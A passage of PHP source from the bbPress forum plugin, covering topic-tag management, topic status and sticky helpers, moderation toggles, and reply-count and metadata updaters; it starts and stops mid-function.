				bbp_add_error( 'bbp_manage_topic_tag_update_name', __( '<strong>Error</strong>: You need to enter a tag name.', 'bbpress' ) );
				return;
			}

			// Attempt to update the tag
			$slug        = ! empty( $_POST['tag-slug']        ) ? $_POST['tag-slug']        : '';
			$description = ! empty( $_POST['tag-description'] ) ? $_POST['tag-description'] : '';
			$tag         = wp_update_term( $tag_id, bbp_get_topic_tag_tax_id(), array(
				'name'        => $name,
				'slug'        => $slug,
				'description' => $description
			) );

			// Cannot update tag
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				bbp_add_error( 'bbp_manage_topic_tag_update_error', sprintf( __( '<strong>Error</strong>: The following problem(s) have been found while updating the tag: %s', 'bbpress' ), $tag->get_error_message() ) );
				return;
			}

			// Redirect
			$redirect = get_term_link( $tag_id, bbp_get_topic_tag_tax_id() );

			// Update counts, etc...
			do_action( 'bbp_update_topic_tag', $tag_id, $tag, $name, $slug, $description );

			break;

		// Merge two tags
		case 'bbp-merge-topic-tag'  :

			// Nonce check
			if ( ! bbp_verify_nonce_request( 'merge-tag_' . $tag_id ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
				return;
			}

			// Can user edit topic tags?
			if ( ! current_user_can( 'edit_topic_tags' ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_permission', __( '<strong>Error</strong>: You do not have permission to edit the topic tags.', 'bbpress' ) );
				return;
			}

			// No tag name was provided
			if ( empty( $_POST['tag-existing-name'] ) || ! $name = $_POST['tag-existing-name'] ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_name', __( '<strong>Error</strong>: You need to enter a tag name.', 'bbpress' ) );
				return;
			}

			// If term does not exist, create it
			if ( ! $tag = term_exists( $name, bbp_get_topic_tag_tax_id() ) ) {
				$tag = wp_insert_term( $name, bbp_get_topic_tag_tax_id() );
			}

			// Problem inserting the new term
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_error', sprintf( __( '<strong>Error</strong>: The following problem(s) have been found while merging the tags: %s', 'bbpress' ), $tag->get_error_message() ) );
				return;
			}

			// Merging in to...
			$to_tag = $tag['term_id'];

			// Attempting to merge a tag into itself
			if ( $tag_id === $to_tag ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_same', __( '<strong>Error</strong>: The tags which are being merged can not be the same.', 'bbpress' ) );
				return;
			}

			// Delete the old term
			$tag = wp_delete_term( $tag_id, bbp_get_topic_tag_tax_id(), array(
				'default'       => $to_tag,
				'force_default' => true
			) );

			// Error merging the terms
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				bbp_add_error( 'bbp_manage_topic_tag_merge_error', sprintf( __( '<strong>Error</strong>: The following problem(s) have been found while merging the tags: %s', 'bbpress' ), $tag->get_error_message() ) );
				return;
			}

			// Redirect
			$redirect = get_term_link( (int) $to_tag, bbp_get_topic_tag_tax_id() );

			// Update counts, etc...
			do_action( 'bbp_merge_topic_tag', $tag_id, $to_tag, $tag );

			break;

		// Delete tag
		case 'bbp-delete-topic-tag' :

			// Nonce check
			if ( ! bbp_verify_nonce_request( 'delete-tag_' . $tag_id ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_delete_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
				return;
			}

			// Can user delete topic tags?
			if ( ! current_user_can( 'delete_topic_tag', $tag_id ) ) {
				bbp_add_error( 'bbp_manage_topic_tag_delete_permission', __( '<strong>Error</strong>: You do not have permission to delete the topic tags.', 'bbpress' ) );
				return;
			}

			// Attempt to delete term
			$tag = wp_delete_term( $tag_id, bbp_get_topic_tag_tax_id() );

			// Error deleting term
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				bbp_add_error( 'bbp_manage_topic_tag_delete_error', sprintf( __( '<strong>Error</strong>: The following problem(s) have been found while deleting the tag: %s', 'bbpress' ), $tag->get_error_message() ) );
				return;
			}

			// We don't have any other place to go other than home! Or we may die because of the 404 disease
			$redirect = bbp_get_forums_url();

			// Update counts, etc...
			do_action( 'bbp_delete_topic_tag', $tag_id, $tag );

			break;
	}

	/** Successful Moderation *************************************************/

	// Redirect back
	$redirect = ( ! empty( $redirect ) && ! is_wp_error( $redirect ) ) ? $redirect : home_url();
	bbp_redirect( $redirect );
}

/** Helpers *******************************************************************/

/**
 * Return an associative array of available topic statuses
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param int $topic_id   Optional. Topic id.
 *
 * @return array
 */
function bbp_get_topic_statuses( $topic_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_statuses', array(
		bbp_get_public_status_id()  => _x( 'Open',    'Open the topic',      'bbpress' ),
		bbp_get_closed_status_id()  => _x( 'Closed',  'Close the topic',     'bbpress' ),
		bbp_get_spam_status_id()    => _x( 'Spam',    'Spam the topic',      'bbpress' ),
		bbp_get_trash_status_id()   => _x( 'Trash',   'Trash the topic',     'bbpress' ),
		bbp_get_pending_status_id() => _x( 'Pending', 'Unapprove the topic', 'bbpress' )
	), $topic_id );
}

/**
 * Return an associative array of topic sticky types
 *
 * @since 2.4.0 bbPress (r5059)
 *
 * @param int $topic_id   Optional. Topic id.
 *
 * @return array
 */
function bbp_get_topic_types( $topic_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_types', array(
		'unstick' => _x( 'Normal',       'Unstick a topic',         'bbpress' ),
		'stick'   => _x( 'Sticky',       'Make topic sticky',       'bbpress' ),
		'super'   => _x( 'Super Sticky', 'Make topic super sticky', 'bbpress' )
	), $topic_id );
}

/**
 * Return array of available topic toggle actions
 *
 * @since 2.6.0 bbPress (r6133)
 *
 * @param int $topic_id   Optional. Topic id.
 *
 * @return array
 */
function bbp_get_topic_toggles( $topic_id = 0 ) {

	// Filter & return
	return (array) apply_filters( 'bbp_get_toggle_topic_actions', array(
		'bbp_toggle_topic_close',
		'bbp_toggle_topic_stick',
		'bbp_toggle_topic_spam',
		'bbp_toggle_topic_trash',
		'bbp_toggle_topic_approve'
	), $topic_id );
}

/**
 * Return array of public topic statuses.
 *
 * @since 2.6.0 bbPress (r6383)
 *
 * @return array
 */
function bbp_get_public_topic_statuses() {
	$statuses = array(
		bbp_get_public_status_id(),
		bbp_get_closed_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_public_topic_statuses', $statuses );
}

/**
 * Return array of non-public topic statuses.
 *
 * @since 2.6.0 bbPress (r6642)
 *
 * @return array
 */
function bbp_get_non_public_topic_statuses() {
	$statuses = array(
		bbp_get_trash_status_id(),
		bbp_get_spam_status_id(),
		bbp_get_pending_status_id()
	);

	// Filter & return
	return (array) apply_filters( 'bbp_get_non_public_topic_statuses', $statuses );
}

/** Stickies ******************************************************************/

/**
 * Return sticky topics of a forum
 *
 * @since 2.0.0 bbPress (r2592)
 *
 * @param int $forum_id Optional. If not passed, super stickies are returned.
 * @return array IDs of sticky topics of a forum or super stickies
 */
function bbp_get_stickies( $forum_id = 0 ) {

	// Get stickies (maybe super if empty)
	$stickies = empty( $forum_id )
		? bbp_get_super_stickies()
		: get_post_meta( $forum_id, '_bbp_sticky_topics', true );

	// Cast as array
	$stickies = ( empty( $stickies ) || ! is_array( $stickies ) )
		? array()
		: wp_parse_id_list( $stickies );

	// Filter & return
	return (array) apply_filters( 'bbp_get_stickies', $stickies, $forum_id );
}

/**
 * Return topics stuck to front page of the forums
 *
 * @since 2.0.0 bbPress (r2592)
 *
 * @return array IDs of super sticky topics
 */
function bbp_get_super_stickies() {

	// Get super stickies
	$stickies = get_option( '_bbp_super_sticky_topics', array() );

	// Cast as array
	$stickies = ( empty( $stickies ) || ! is_array( $stickies ) )
		? array()
		: wp_parse_id_list( $stickies );

	// Filter & return
	return (array) apply_filters( 'bbp_get_super_stickies', $stickies );
}

/** Topics Actions ************************************************************/

/**
 * Handles the front end opening/closing, spamming/unspamming,
 * sticking/unsticking and trashing/untrashing/deleting of topics
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_toggle_topic_handler( $action = '' ) {

	// Bail if required GET actions aren't passed
	if ( empty( $_GET['topic_id'] ) ) {
		return;
	}

	// What's the topic id?
	$topic_id = bbp_get_topic_id( (int) $_GET['topic_id'] );

	// Get possible topic-handler toggles
	$toggles = bbp_get_topic_toggles( $topic_id );

	// Bail if actions aren't meant for this function
	if ( ! in_array( $action, $toggles, true ) ) {
		return;
	}

	// Make sure topic exists
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		bbp_add_error( 'bbp_toggle_topic_missing', __( '<strong>Error</strong>: This topic could not be found or no longer exists.', 'bbpress' ) );
		return;
	}

	// What is the user doing here?
	if ( ! current_user_can( 'edit_topic', $topic_id ) || ( 'bbp_toggle_topic_trash' === $action && ! current_user_can( 'delete_topic', $topic_id ) ) ) {
		bbp_add_error( 'bbp_toggle_topic_permission', __( '<strong>Error</strong>: You do not have permission to do that.', 'bbpress' ) );
		return;
	}

	// Sub-action?
	$sub_action = ! empty( $_GET['sub_action'] )
		? sanitize_key( $_GET['sub_action'] )
		: false;

	// Preliminary array
	$post_data = array( 'ID' => $topic_id );

	// Do the topic toggling
	$retval = bbp_toggle_topic( array(
		'id'         => $topic_id,
		'action'     => $action,
		'sub_action' => $sub_action,
		'data'       => $post_data
	) );

	// Do additional topic toggle actions
	do_action( 'bbp_toggle_topic_handler', $retval['status'], $post_data, $action );

	// No errors
	if ( ( false !== $retval['status'] ) && ! is_wp_error( $retval['status'] ) ) {
		bbp_redirect( $retval['redirect_to'] );

	// Handle errors
	} else {
		bbp_add_error( 'bbp_toggle_topic', $retval['message'] );
	}
}

/**
 * Do the actual topic toggling
 *
 * This function is used by `bbp_toggle_topic_handler()` to do the actual heavy
 * lifting when it comes to toggling topic. It only really makes sense to call
 * within that context, so if you need to call this function directly, make sure
 * you're also doing what the handler does too.
 *
 * @since 2.6.0  bbPress (r6133)
 * @access private
 *
 * @param array $args
 */
function bbp_toggle_topic( $args = array() ) {

	// Parse the arguments
	$r = bbp_parse_args( $args, array(
		'id'         => 0,
		'action'     => '',
		'sub_action' => '',
		'data'       => array()
	) );

	// Build the nonce suffix
	$nonce_suffix = bbp_get_topic_post_type() . '_' . (int) $r['id'];

	// Default return values
	$retval = array(
		'status'      => 0,
		'message'     => '',
		'redirect_to' => bbp_get_topic_permalink( $r['id'], bbp_get_redirect_to() ),
		'view_all'    => false
	);

	// What action are we trying to perform?
	switch ( $r['action'] ) {

		// Toggle approve/unapprove
		case 'bbp_toggle_topic_approve' :
			check_ajax_referer( "approve-{$nonce_suffix}" );

			$is_pending         = bbp_is_topic_pending( $r['id'] );
			$retval['view_all'] = ! $is_pending;

			// Toggle
			$retval['status'] = ( true === $is_pending )
				? bbp_approve_topic( $r['id'] )
				: bbp_unapprove_topic( $r['id'] );

			// Feedback
			$retval['message'] = ( true === $is_pending )
				? __( '<strong>Error</strong>: There was a problem approving the topic.',   'bbpress' )
				: __( '<strong>Error</strong>: There was a problem unapproving the topic.', 'bbpress' );

			break;

		// Toggle open/close
		case 'bbp_toggle_topic_close' :
			check_ajax_referer( "close-{$nonce_suffix}" );

			$is_open = bbp_is_topic_open( $r['id'] );

			// Toggle
			$retval['status'] = ( true === $is_open )
				? bbp_close_topic( $r['id'] )
				: bbp_open_topic( $r['id'] );

			// Feedback
			$retval['message'] = ( true === $is_open )
				? __( '<strong>Error</strong>: There was a problem closing the topic.', 'bbpress' )
				: __( '<strong>Error</strong>: There was a problem opening the topic.', 'bbpress' );

			break;

		// Toggle sticky/super-sticky/unstick
		case 'bbp_toggle_topic_stick' :
			check_ajax_referer( "stick-{$nonce_suffix}" );

			$is_sticky = bbp_is_topic_sticky( $r['id'] );
			$is_super  = false === $is_sticky && ! empty( $_GET['super'] ) && ( "1" === $_GET['super'] ) ? true : false;

			// Toggle
			$retval['status'] = ( true === $is_sticky )
				? bbp_unstick_topic( $r['id'] )
				: bbp_stick_topic( $r['id'], $is_super );

			// Feedback
			$retval['message'] = ( true === $is_sticky )
				? __( '<strong>Error</strong>: There was a problem unsticking the topic.', 'bbpress' )
				: __( '<strong>Error</strong>: There was a problem sticking the topic.',   'bbpress' );

			break;

		// Toggle spam
		case 'bbp_toggle_topic_spam' :
			check_ajax_referer( "spam-{$nonce_suffix}" );

			$is_spam            = bbp_is_topic_spam( $r['id'] );
			$retval['view_all'] = ! $is_spam;

			// Toggle
			$retval['status'] = ( true === $is_spam )
				? bbp_unspam_topic( $r['id'] )
				: bbp_spam_topic( $r['id'] );

			// Feedback
			$retval['message'] = ( true === $is_spam )
				? __( '<strong>Error</strong>: There was a problem unmarking the topic as spam.', 'bbpress' )
				: __( '<strong>Error</strong>: There was a problem marking the topic as spam.',   'bbpress' );

			break;

		// Toggle trash
		case 'bbp_toggle_topic_trash' :

			switch ( $r['sub_action'] ) {
				case 'trash':
					check_ajax_referer( "trash-{$nonce_suffix}" );

					$retval['view_all']    = true;
					$retval['status']      = wp_trash_post( $r['id'] );
					$retval['message']     = __( '<strong>Error</strong>: There was a problem trashing the topic.', 'bbpress' );
					$retval['redirect_to'] = current_user_can( 'view_trash' )
						? bbp_get_topic_permalink( $r['id'] )
						: bbp_get_forum_permalink( bbp_get_topic_forum_id( $r['id'] ) );

					break;

				case 'untrash':
					check_ajax_referer( "untrash-{$nonce_suffix}" );

					$retval['status']      = wp_untrash_post( $r['id'] );
					$retval['message']     = __( '<strong>Error</strong>: There was a problem untrashing the topic.', 'bbpress' );
					$retval['redirect_to'] = bbp_get_topic_permalink( $r['id'] );

					break;

				case 'delete':
					check_ajax_referer( "delete-{$nonce_suffix}" );

					$retval['status']      = wp_delete_post( $r['id'] );
					$retval['message']     = __( '<strong>Error</strong>: There was a problem deleting the topic.', 'bbpress' );
					$retval['redirect_to'] = bbp_get_forum_permalink( $retval['status']->post_parent );

					break;
			}

			break;
	}

	// Add view all if needed
	if ( ! empty( $retval['view_all'] ) ) {
		$retval['redirect_to'] = bbp_add_view_all( $retval['redirect_to'], true );
	}

	// Filter & return
	return apply_filters( 'bbp_toggle_topic', $retval, $r, $args );
}

/** Favorites & Subscriptions *************************************************/

/**
 * Remove a deleted topic from all user favorites
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $topic_id Get the topic id to remove
 */
function bbp_remove_topic_from_all_favorites( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );

	// Bail if no topic
	if ( empty( $topic_id ) ) {
		return;
	}

	// Get users
	$users = (array) bbp_get_topic_favoriters( $topic_id );

	// Users exist
	if ( ! empty( $users ) ) {

		// Loop through users
		foreach ( $users as $user ) {

			// Remove each user
			bbp_remove_user_favorite( $user, $topic_id );
		}
	}
}

/**
 * Remove a deleted topic from all user subscriptions
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $topic_id Get the topic id to remove
 */
function bbp_remove_topic_from_all_subscriptions( $topic_id = 0 ) {

	// Subscriptions are not active
	if ( ! bbp_is_subscriptions_active() ) {
		return;
	}

	// Bail if no topic
	$topic_id = bbp_get_topic_id( $topic_id );
	if ( empty( $topic_id ) ) {
		return;
	}

	// Remove all users
	return bbp_remove_object_from_all_users( $topic_id, '_bbp_subscription', 'post' );
}

/** Count Bumpers *************************************************************/

/**
 * Bump the total reply count of a topic
 *
 * @since 2.1.0 bbPress (r3825)
 *
 * @param int $topic_id   Optional. Topic id.
 * @param int $difference Optional. Default 1
 * @return int Topic reply count
 */
function bbp_bump_topic_reply_count( $topic_id = 0, $difference = 1 ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get counts
	$topic_id    = bbp_get_topic_id( $topic_id );
	$reply_count = bbp_get_topic_reply_count( $topic_id, true );
	$difference  = (int) $difference;
	$new_count   = (int) ( $reply_count + $difference );

	// Update this topic id's reply count
	update_post_meta( $topic_id, '_bbp_reply_count', $new_count );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_topic_reply_count', $new_count, $topic_id, $difference );
}

/**
 * Increase the total reply count of a topic by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 *
 * @return void
 */
function bbp_increase_topic_reply_count( $topic_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $topic_id ) ) {
		return;
	}

	// If it's a reply, get the topic id.
	if ( bbp_is_reply( $topic_id ) ) {
		$reply_id = $topic_id;
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Update inverse based on item status
		if ( ! bbp_is_reply_public( $reply_id ) ) {
			bbp_increase_topic_reply_count_hidden( $topic_id );
			return;
		}
	}

	// Bump up
	bbp_bump_topic_reply_count( $topic_id );
}

/**
 * Decrease the total reply count of a topic by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 *
 * @return void
 */
function bbp_decrease_topic_reply_count( $topic_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $topic_id ) ) {
		return;
	}

	// If it's a reply, get the topic id.
	if ( bbp_is_reply( $topic_id ) ) {
		$reply_id = $topic_id;
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Update inverse based on item status
		if ( ! bbp_is_reply_public( $reply_id ) ) {
			bbp_decrease_topic_reply_count_hidden( $topic_id );
			return;
		}
	}

	// Bump down
	bbp_bump_topic_reply_count( $topic_id, -1 );
}

/**
 * Bump the total hidden reply count of a topic
 *
 * @since 2.1.0 bbPress (r3825)
 *
 * @param int $topic_id   Optional. Topic id.
 * @param int $difference Optional. Default 1
 * @return int Topic hidden reply count
 */
function bbp_bump_topic_reply_count_hidden( $topic_id = 0, $difference = 1 ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get counts
	$topic_id    = bbp_get_topic_id( $topic_id );
	$reply_count = bbp_get_topic_reply_count_hidden( $topic_id, true );
	$difference  = (int) $difference;
	$new_count   = (int) ( $reply_count + $difference );

	// Update this topic id's hidden reply count
	update_post_meta( $topic_id, '_bbp_reply_count_hidden', $new_count );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_topic_reply_count_hidden', $new_count, $topic_id, $difference );
}

/**
 * Increase the total hidden reply count of a topic by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 *
 * @return void
 */
function bbp_increase_topic_reply_count_hidden( $topic_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $topic_id ) ) {
		return;
	}

	// If it's a reply, get the topic id.
	if ( bbp_is_reply( $topic_id ) ) {
		$reply_id = $topic_id;
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Update inverse based on item status
		if ( bbp_is_reply_public( $reply_id ) ) {
			bbp_increase_topic_reply_count( $topic_id );
			return;
		}
	}

	// Bump up
	bbp_bump_topic_reply_count_hidden( $topic_id );
}

/**
 * Decrease the total hidden reply count of a topic by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 *
 * @return void
 */
function bbp_decrease_topic_reply_count_hidden( $topic_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $topic_id ) ) {
		return;
	}

	// If it's a reply, get the topic id.
	if ( bbp_is_reply( $topic_id ) ) {
		$reply_id = $topic_id;
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Update inverse based on item status
		if ( bbp_is_reply_public( $reply_id ) ) {
			bbp_decrease_topic_reply_count( $topic_id );
			return;
		}
	}

	// Bump down
	bbp_bump_topic_reply_count_hidden( $topic_id, -1 );
}

/**
 * Update counts after a topic is inserted via `bbp_insert_topic`.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_insert_topic_update_counts( $topic_id = 0, $forum_id = 0 ) {

	// If the topic is public, update the forum topic counts.
	if ( bbp_is_topic_public( $topic_id ) ) {
		bbp_increase_forum_topic_count( $forum_id );

	// If the topic isn't public only update the forum topic hidden count.
	} else {
		bbp_increase_forum_topic_count_hidden( $forum_id );
	}
}

/** Topic Updaters ************************************************************/

/**
 * Update the topic's forum id
 *
 * @since 2.0.0 bbPress (r2855)
 *
 * @param int $topic_id Optional. Topic id to update
 * @param int $forum_id Optional. Forum id
 * @return int Forum id
 */
function bbp_update_topic_forum_id( $topic_id = 0, $forum_id = 0 ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Forum ID fallback
	if ( empty( $forum_id ) ) {
		$forum_id = get_post_field( 'post_parent', $topic_id );
	}

	// Update the forum ID
	$forum_id = bbp_update_forum_id( $topic_id, $forum_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_forum_id', $forum_id, $topic_id );
}

/**
 * Update the topic's topic id
 *
 * @since 2.0.0 bbPress (r2954)
 *
 * @param int $topic_id Optional. Topic id to update
 * @return int Topic id
 */
function bbp_update_topic_topic_id( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$topic_id = bbp_update_topic_id( $topic_id, $topic_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_topic_id', $topic_id );
}

/**
 * Adjust the total reply count of a topic
 *
 * @since 2.0.0 bbPress (r2467)
 *
 * @param int $topic_id Optional. Topic id to update
 * @param int $reply_count Optional. Set the reply count manually.
 * @return int Topic reply count
 */
function bbp_update_topic_reply_count( $topic_id = 0, $reply_count = false ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Get replies of topic if not passed
	$reply_count = ! is_int( $reply_count )
		? bbp_get_public_child_count( $topic_id, bbp_get_reply_post_type() )
		: (int) $reply_count;

	update_post_meta( $topic_id, '_bbp_reply_count', $reply_count );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_reply_count', $reply_count, $topic_id );
}

/**
 * Adjust the total hidden reply count of a topic (hidden includes trashed,
 * spammed and pending replies)
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Optional. Topic id to update
 * @param int $reply_count Optional. Set the reply count manually
 * @return int Topic hidden reply count
 */
function bbp_update_topic_reply_count_hidden( $topic_id = 0, $reply_count = false ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Get replies of topic
	$reply_count = ! is_int( $reply_count )
		? bbp_get_non_public_child_count( $topic_id, bbp_get_reply_post_type() )
		: (int) $reply_count;

	update_post_meta( $topic_id, '_bbp_reply_count_hidden', $reply_count );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_reply_count_hidden', $reply_count, $topic_id );
}

/**
 * Update the topic with the last active post ID
 *
 * @since 2.0.0 bbPress (r2888)
 *
 * @param int $topic_id Optional. Topic id to update
 * @param int $active_id Optional. active id
 * @return int Active id
 */
function bbp_update_topic_last_active_id( $topic_id = 0, $active_id = 0 ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Get last public active id if not passed
	if ( empty( $active_id ) ) {
		$active_id = bbp_get_public_child_last_id( $topic_id, bbp_get_reply_post_type() );
	}

	// Adjust last_id's based on last_reply post_type
	if ( empty( $active_id ) || ! bbp_is_reply( $active_id ) ) {
		$active_id = $topic_id;
	}

	$active_id = (int) $active_id;

	// Update only if published
	update_post_meta( $topic_id, '_bbp_last_active_id', $active_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_last_active_id', $active_id, $topic_id );
}

/**
 * Update the topics last active date/time (aka freshness)
 *
 * @since 2.0.0 bbPress (r2680)
 *
 * @param int    $topic_id Optional. Topic id.
 * @param string $new_time Optional. New time in mysql format.
 * @return string MySQL timestamp of last active reply
 */
function bbp_update_topic_last_active_time( $topic_id = 0, $new_time = '' ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Check time and use current if empty
	if ( empty( $new_time ) ) {
		$new_time = get_post_field( 'post_date', bbp_get_public_child_last_id( $topic_id, bbp_get_reply_post_type() ) );
	}

	// Update only if published
	if ( ! empty( $new_time ) ) {
		update_post_meta( $topic_id, '_bbp_last_active_time', $new_time );
	}

	// Filter & return
	return apply_filters( 'bbp_update_topic_last_active_time', $new_time, $topic_id );
}

/**
 * Update the topic with the most recent reply ID
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $topic_id Optional. Topic id to update
 * @param int $reply_id Optional. Reply id
 * @return int Reply id
 */
function bbp_update_topic_last_reply_id( $topic_id = 0, $reply_id = 0 ) {

	// If it's a reply, then get the parent (topic id)
	if ( empty( $reply_id ) && bbp_is_reply( $topic_id ) ) {
		$reply_id = bbp_get_reply_id( $topic_id );
		$topic_id = bbp_get_reply_topic_id( $reply_id );
	} else {
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = bbp_get_topic_id( $topic_id );
	}

	if ( empty( $reply_id ) ) {
		$reply_id = bbp_get_public_child_last_id( $topic_id, bbp_get_reply_post_type() );
	}

	// Adjust last_id's based on last_reply post_type
	if ( empty( $reply_id ) || ! bbp_is_reply( $reply_id ) ) {
		$reply_id = 0;
	}

	$reply_id = (int) $reply_id;

	// Update if reply is published
	update_post_meta( $topic_id, '_bbp_last_reply_id', $reply_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_last_reply_id', $reply_id, $topic_id );
}

/**
 * Adjust the total voice count of a topic
 *
 * @since 2.0.0 bbPress (r2567)
 * @since 2.6.0 bbPress (r6515) This must be called after any engagement changes
 *
 * @param int $topic_id Optional. Topic id to update
 * @return int Voice count
 */
function bbp_update_topic_voice_count( $topic_id = 0 ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Bail if no topic ID
	if ( empty( $topic_id ) ) {
		return;
	}

	// Count the engagements
	$count = count( bbp_get_topic_engagements( $topic_id ) );

	// Update the voice count for this topic id
	update_post_meta( $topic_id, '_bbp_voice_count', $count );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_voice_count', $count, $topic_id );
}

/**
 * Adjust the total anonymous reply count of a topic
 *
 * @since 2.0.0 bbPress (r2567)
 *
 * @param int $topic_id Optional. Topic id to update
 * @return int Anonymous reply count
 */
function bbp_update_topic_anonymous_reply_count( $topic_id = 0 ) {

	// If it's a reply, then get the parent (topic id)
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Query the DB to get anonymous replies in this topic
	$bbp_db  = bbp_db();
	$query   = $bbp_db->prepare( "SELECT COUNT( ID ) FROM {$bbp_db->posts} WHERE ( post_parent = %d AND post_status = %s AND post_type = %s AND post_author = 0 ) OR ( ID = %d AND post_type = %s AND post_author = 0 )", $topic_id, bbp_get_public_status_id(), bbp_get_reply_post_type(), $topic_id, bbp_get_topic_post_type() );
	$replies = (int) $bbp_db->get_var( $query );

	update_post_meta( $topic_id, '_bbp_anonymous_reply_count', $replies );

	// Filter & return
	return (int) apply_filters( 'bbp_update_topic_anonymous_reply_count', $replies, $topic_id );
}

/**
 * Update the revision log of the topic
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param array $args Supports these args:
 *  - topic_id: Topic id
 *  - author_id: Author id
 *  - reason: Reason for editing
 *  - revision_id: Revision id
 * @return mixed False on failure, true on success
 */
function bbp_update_topic_revision_log( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'reason'      => '',
		'topic_id'    => 0,
		'author_id'   => 0,
		'revision_id' => 0
	), 'update_topic_revision_log' );

	// Populate the variables
	$r['reason']      = bbp_format_revision_reason( $r['reason'] );
	$r['topic_id']    = bbp_get_topic_id( $r['topic_id'] );
	$r['author_id']   = bbp_get_user_id ( $r['author_id'], false, true );
	$r['revision_id'] = (int) $r['revision_id'];

	// Get the logs and append the new one to those
	$revision_log                      = bbp_get_topic_raw_revision_log( $r['topic_id'] );
	$revision_log[ $r['revision_id'] ] = array( 'author' => $r['author_id'], 'reason' => $r['reason'] );

	// Finally, update
	return update_post_meta( $r['topic_id'], '_bbp_revision_log', $revision_log );
}

/** Topic Actions *************************************************************/

/**
 * Closes a topic
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Topic id
 * @return mixed False or {@link WP_Error} on failure, topic id on success
 */
function bbp_close_topic( $topic_id = 0 ) {

	// Get topic
	$topic = bbp_get_topic( $topic_id );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Get previous topic status meta
	$status       = bbp_get_closed_status_id();
	$topic_status = get_post_meta( $topic_id, '_bbp_status', true );

	// Bail if already closed and topic status meta exists
	if ( $status === $topic->post_status && ! empty( $topic_status ) ) {
		return false;
	}

	// Set status meta public
	$topic_status = $topic->post_status;

	// Execute pre close code
	do_action( 'bbp_close_topic', $topic_id );

	// Add pre close status
	add_post_meta( $topic_id, '_bbp_status', $topic_status );

	// Set closed status
	$topic->post_status = $status;

	// Toggle revisions off as we are not altering content
	if ( post_type_supports( bbp_get_topic_post_type(), 'revisions' ) ) {
		$revisions_removed = true;
		remove_post_type_support( bbp_get_topic_post_type(), 'revisions' );
	}

	// Update topic
	$topic_id = wp_update_post( $topic );

	// Toggle revisions back on
